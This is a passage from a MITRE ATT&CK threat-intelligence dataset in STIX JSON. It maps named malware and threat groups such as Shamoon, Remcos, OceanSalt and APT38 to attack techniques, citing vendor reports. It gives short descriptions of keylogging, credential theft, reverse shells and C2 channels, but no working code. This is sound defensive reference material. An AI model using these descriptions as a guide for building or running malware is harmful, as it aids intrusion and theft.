                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.198Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "type": "relationship",
            "modified": "2021-04-24T13:35:09.349Z",
            "created": "2017-05-31T21:33:27.024Z"
        },
        {
            "id": "relationship--272068a3-47e3-42d6-8772-71d39c1976c3",
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            "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)",
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                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "source_name": "Unit 42 Shamoon3 2018"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-05-29T18:11:23.525Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "description": "[ISMInjector](https://attack.mitre.org/software/S0189) is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.(Citation: OilRig New Delivery Oct 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "OilRig New Delivery Oct 2017",
                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
                }
            ],
            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-28T21:35:37.230Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--15f74597-d92d-406f-9941-c0dfef3cb609",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Commands under <code>net user</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate user accounts.(Citation: Savill 1999)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.555Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT12](https://attack.mitre.org/groups/G0005) has used [RIPTIDE](https://attack.mitre.org/software/S0003), a RAT that uses HTTP to communicate.(Citation: Moran 2014)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Moran 2014",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                }
            ],
            "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:28:36.454Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d9f924ec-aa93-48fd-aef6-2e545410f2d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[adbupd](https://attack.mitre.org/software/S0202) can run a copy of cmd.exe.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:00:53.743Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--dbccbeab-26c9-476e-b529-c193f9796cbc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wingbird](https://attack.mitre.org/software/S0176) exploits CVE-2016-4117 to allow an executable to gain escalated privileges.(Citation: Microsoft SIR Vol 21)",
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            ],
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                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"
                }
            ],
            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2020-02-11T19:39:04.054Z",
            "created": "2018-01-16T16:13:52.465Z"
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        {
            "id": "relationship--6f6d6ccc-ac71-42b6-ab14-d02914d05717",
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            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517",
            "external_references": [
                {
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
                }
            ],
            "description": "(Citation: Microsoft PLATINUM April 2016)",
            "type": "relationship",
            "modified": "2019-05-10T12:14:32.226Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "id": "relationship--a628def4-31a4-475e-b4b8-615534d8d585",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from FTP clients.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/quasar/QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "source_name": "GitHub QuasarRAT"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                }
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2019-06-24T19:05:41.508Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f36a8899-940f-4c8f-924d-eef2f056744d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on permission groups within a domain.(Citation: TechNet Dsquery)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Dsquery",
                    "description": "Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx"
                }
            ],
            "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "type": "relationship",
            "modified": "2020-03-18T20:01:55.813Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the timestamp from the victim\u2019s machine.(Citation: DigiTrust Agent Tesla Jan 2017)",
            "id": "relationship--38248217-7c11-4ae9-a13e-7296dead0df8",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-03-18T19:25:30.170Z",
            "created": "2019-01-29T18:44:04.949Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Remcos Feb 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html",
                    "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."
                },
                {
                    "source_name": "Talos Remcos Aug 2018",
                    "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html",
                    "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command for keylogging.(Citation: Fortinet Remcos Feb 2017)(Citation: Talos Remcos Aug 2018)",
            "id": "relationship--c50fd202-d4af-4157-b368-b4525af075c1",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:38:09.364Z",
            "created": "2019-01-29T18:55:20.860Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) has a keylogging capability.(Citation: TrendMicro DarkComet Sept 2014)",
            "id": "relationship--da288184-6537-4a23-b26e-e4329690bddb",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:39:00.917Z",
            "created": "2019-01-29T19:18:28.779Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>net time</code> command  to get the system time from the machine and collect the current date and time zone information.(Citation: Kaspersky Turla)",
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            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.665Z",
            "created": "2019-01-29T19:55:48.080Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust NanoCore Jan 2017",
                    "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/",
                    "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."
                },
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) can capture audio feeds from the system.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--72e501db-419e-4fe9-9f10-fa8f266d829b",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2019-04-17T20:47:23.853Z",
            "created": "2019-01-29T20:05:36.514Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--5577d7ff-58ee-4513-bf01-3be1a60ac2c9",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:16:48.943Z",
            "created": "2019-01-29T21:27:25.242Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--69205d34-6967-40df-baed-45b5d23d8e27",
            "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb",
            "relationship_type": "uses",
            "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "external_references": [
                {
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
                    "source_name": "Unit42 SilverTerrier 2018"
                }
            ],
            "description": "(Citation: Unit42 SilverTerrier 2018)",
            "type": "relationship",
            "modified": "2019-04-12T16:33:51.199Z",
            "created": "2019-01-29T21:37:00.022Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                }
            ],
            "description": "[Elise](https://attack.mitre.org/software/S0081) creates a file in <code>AppData\\Local\\Microsoft\\Windows\\Explorer</code> and stores all harvested data in that file.(Citation: Accenture Dragonfish Jan 2018)",
            "id": "relationship--9e77c6fc-0227-42d6-b4ce-f228115963fe",
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:49:45.573Z",
            "created": "2019-01-29T21:57:39.366Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses WMI to query the Windows Registry.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--8a9e5785-f1cb-4127-9045-07e7bba11e80",
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.861Z",
            "created": "2019-01-30T13:42:09.595Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "source_name": "PaloAlto DNS Requests May 2016"
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) obfuscates strings in the payload.(Citation: PaloAlto DNS Requests May 2016)",
            "id": "relationship--23bd8e78-b20d-41bd-acfb-5ed356b327b2",
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.748Z",
            "created": "2019-01-30T14:00:49.906Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to download additional files.(Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--75f47e28-75dd-4471-8d00-ed4a2c4d3328",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-02-12T21:28:19.488Z",
            "created": "2019-01-30T15:27:06.732Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "source_name": "McAfee Oceansalt Oct 2018"
                },
                {
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "source_name": "McAfee Oceansalt Oct 2018"
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can create a reverse shell on the infected endpoint using cmd.exe.(Citation: McAfee Oceansalt Oct 2018) [OceanSalt](https://attack.mitre.org/software/S0346) has been executed via malicious macros.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--102d7613-aabc-4d54-b0fe-88501924da86",
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:50:23.361Z",
            "created": "2019-01-30T15:43:19.423Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) injects into a newly spawned process created from a native Windows executable.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--a24d8975-fa51-4ac1-b928-9af5b5660109",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.491Z",
            "created": "2019-01-30T16:39:54.430Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."
                },
                {
                    "source_name": "Talos MuddyWater May 2019",
                    "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html",
                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged WMI for execution and querying host information.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Talos MuddyWater May 2019)",
            "id": "relationship--1b6f869f-951c-4323-816f-dbedbe3aac0a",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.480Z",
            "created": "2019-01-30T17:33:40.937Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) can modify the Registry.(Citation: McAfee Night Dragon)",
            "id": "relationship--9fbc10b3-f72e-4cc8-9e94-34c6404c3a1f",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-16T16:07:38.799Z",
            "created": "2019-01-30T17:48:35.604Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--5228157f-e15e-4059-a400-503f75f019b6",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "(Citation: McAfee Night Dragon)",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.966Z",
            "created": "2019-01-30T18:02:59.454Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) uses SMTP/S and POP3/S for C2 communications by sending and receiving emails.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--62391d2c-56de-42e3-a937-fb9ffa3a4308",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "type": "relationship",
            "modified": "2020-03-17T00:31:12.785Z",
            "created": "2019-01-30T18:58:04.102Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
